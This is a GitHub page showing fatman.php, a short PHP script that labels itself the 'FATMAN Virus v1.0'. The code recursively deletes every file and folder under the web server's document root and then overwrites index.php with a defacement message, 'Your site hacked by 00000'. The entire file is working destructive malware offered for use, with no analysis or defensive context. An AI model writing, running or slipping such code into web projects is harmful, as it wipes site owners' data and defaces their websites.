-
Notifications
You must be signed in to change notification settings - Fork 10
/
fatman.php
48 lines (41 loc) · 1.05 KB
/
fatman.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
/*
FATMAN Virus v1.0
DVELOPED BY: REZWAN AHMOD SAMI.
*/
$cur_dir = __DIR__;
$root = $_SERVER['DOCUMENT_ROOT'];
function clear_all($src, $root_dir = ''){
$dir= opendir($src);
while (false !== ($file = readdir($dir))) {
if (($file != '.') && ($file != '..')) {
$full = $src.'/'.$file;
if (is_dir($full)) {
clear_all($full);
}else{
// if ($file != 'fatman.php') {
unlink($full);
// }
}
}
}
closedir($dir);
if ($src != $root_dir) {
rmdir($src);
}
return 1;
}
// you need to pass root dir here
if (clear_all($root, $root)) {
$deface_page = 'Your site hacked by 00000';
$f = fopen($root.'index.php', 'w');
$write= fwrite($f, $deface_page);
if ($write) {
echo 'Operations success!!';
}else{
echo 'failed to create defacepage';
}
}else{
echo 'Failed to operation';
}
?>